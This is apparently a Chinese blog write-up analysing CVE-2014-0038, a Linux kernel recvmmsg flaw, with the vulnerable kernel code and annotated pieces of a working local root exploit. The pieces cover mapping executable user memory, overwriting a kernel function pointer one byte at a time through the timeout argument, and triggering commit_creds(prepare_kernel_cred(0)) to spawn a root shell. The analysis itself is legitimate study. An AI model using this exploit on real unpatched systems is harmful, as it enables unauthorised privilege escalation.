CVE-2014-0038分析
引言
这是决定不打比赛之后的第一个
CVE
分析, 感觉还行, 就是其中个别问题没有弄清楚, 基本流程清楚了, 最后我会提出我的问题, 有哪位大佬能回答的, 直接在下面留言就行了.
漏洞点
原因
没有对用户空间的输入信息进行拷贝处理, 直接将用户空间输入的timeout指针传递给__sys_recvmmsg函数进行处理.
漏洞代码
int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct timespec *timeout)
//timeout 未检查, timeout传进去的是需要清零的地址
{
int fput_needed, err, datagrams;
struct socket *sock;
struct mmsghdr __user *entry;
struct compat_mmsghdr __user *compat_entry;
struct msghdr msg_sys;
struct timespec end_time;
if (timeout &&
poll_select_set_timeout(&end_time, timeout->tv_sec,
timeout->tv_nsec))
return -EINVAL;
datagrams = 0;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
return err;
err = sock_error(sock->sk);
if (err)
goto out_put;
entry = mmsg;
compat_entry = (struct compat_mmsghdr __user *)mmsg;
while (datagrams < vlen) {
/*
* No need to ask LSM for more than the first datagram.
*/
if (MSG_CMSG_COMPAT & flags) {
err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
&msg_sys, flags & ~MSG_WAITFORONE,
datagrams);
if (err < 0)
break;
err = __put_user(err, &compat_entry->msg_len);
++compat_entry;
} else {
err = ___sys_recvmsg(sock,
(struct msghdr __user *)entry,
&msg_sys, flags & ~MSG_WAITFORONE,
datagrams);
if (err < 0)
break;
err = put_user(err, &entry->msg_len);
++entry;
}
if (err)
break;
++datagrams;
/* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
if (flags & MSG_WAITFORONE)
flags |= MSG_DONTWAIT;
if (timeout) {
ktime_get_ts(timeout);
*timeout = timespec_sub(end_time, *timeout);
if (timeout->tv_sec < 0) {
//漏洞代码
timeout->tv_sec = timeout->tv_nsec = 0;
break;
}
/* Timeout, return less than vlen datagrams */
if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
break;
}
/* Out of band data, return right away */
if (msg_sys.msg_flags & MSG_OOB)
break;
}
out_put:
fput_light(sock->file, fput_needed);
if (err == 0)
return datagrams;
if (datagrams != 0) {
/*
* We may return less entries than requested (vlen) if the
* sock is non block and there aren't enough datagrams...
*/
if (err != -EAGAIN) {
/*
* ... or if recvmsg returns an error after we
* received some datagrams, where we record the
* error to return on the next call or if the
* app asks about it using getsockopt(SO_ERROR).
*/
sock->sk->sk_err = -err;
}
return datagrams;
}
return err;
}
整体思路
提权的思路: 首先我们先将
commit_creds(prepare_kernel_cred (0));
代码复制到一段可以执行的用户空间代码. 利用内核的漏洞, 修改某一个内核指针为用户空间指针(这个指针指向的内容含有commit_creds(prepare_kernel_cred (0));
). 执行这个内核指针, 我们获取一个root cred
.最后执行system("/bin/sh")
, 获取一个root shell
.
代码分块解读
1. 结构体
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
说明: 修改的内容是net_ctl_permissions
, 修改的指针net_sysctl_root + 96
, 这个指针指向net_ctl_permissions
.
2. 提权代码复制
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); //1
mmapped &= 0x000000ffffffffff; //2
/*
* 例: off->original_value = 0xffffffff816ffa20
* 1. 将 0xffffffff816ffa20最后三个数字变成0, 0xffffffff816ff000
* 2. 将 内核地址空间变成对应的用户空间, 0x000000ff816ff000, 这个地址待会需要copy提权代码,.
3. 用户地址空间: 0x0000 7ffff ffff ffff~0x0000 0000 0000 0000(64 bit)
4. 内核地址空间: 0xffff ffff ffff ffff~0xffff 8000 0000 0000.
5. 32bit: 内核0xc0000000~0xffffffff, 用户:0xbfffffff~0x00000000
*/
srand(time(NULL));
port = (rand() % 30000)+1500; //保证开启不同的UDP端口
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
/*
* 赋值两个全局变量:commit_creds,prepare_kernel_cred
*/
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90, sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); // copy提权代码
总结: 基本上copy
提权代码这一块, 大多数exp
写的大同小异, 几乎形成了一个模板.
3.开启父进程的UDP服务
sa.sin_family = AF_INET; //IPV4
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);//127.0.0.1
sa.sin_port = htons(port);//随机端口
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1)//设置监听 {
perror("bind()");
exit(-1);
}
memset(msgs, 0, sizeof(msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0]; //用于存放接受的信息
msgs[0].msg_hdr.msg_iovlen = 1;
/*
* struct iovec定义了一个向量元素。
* 通常,这个结构用作一个多元素的数组。对于每一个传输的元素,指针成员iov_base指向一个缓冲区.
* 这个缓冲区是存放的是readv所接收的数据或是writev将要发送的数据.
* 成员iov_len在各种情况下分别确定了接收的最大长度以及实际写入的长度
*/
总结: 开启父进程的UDP服务,设定接收的信息的结构体msgs
.个人觉得这段没什么软用, 起辅助作用.
4.重头戏
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); //漏洞系统调用
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
总结: 通过设置父进程开启UDP
服务, 子进程故意睡眠0xff
秒, 然后向父进程发送一个UDP报文,从而触发漏洞. 将net_sysctl_root+96
处的后三个位清零, 清零后net_sysctl_root+96
就成了用户地址, 而这个地址我们已经copy
有提权代码.
三个字节覆盖过程截图:(从后往前覆盖的)
当时, 不明白为什么只有一个父进程和一个子进程存在, 现在明白了, 答案就在下面链接里.
一个问题
5.触发漏洞
void trigger() {
open("/proc/sys/net/core/somaxconn", O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
结论: net_ctl_permissions
是一个权限检查函数. 当open
/proc/sys/net/core/somaxconn
, 这个设备时, 需要先使用net_ctl_permissions
进行权限检查, 其实这时的函数地址已经被修改为提权shellcode
. 先获取一个root
凭证, 然后执行system("/bin/sh")
,就乐意获取一个root shell
.
相关链接
问题
如何修改
EXP
, 使之动态的显示目标地址被覆盖的情况?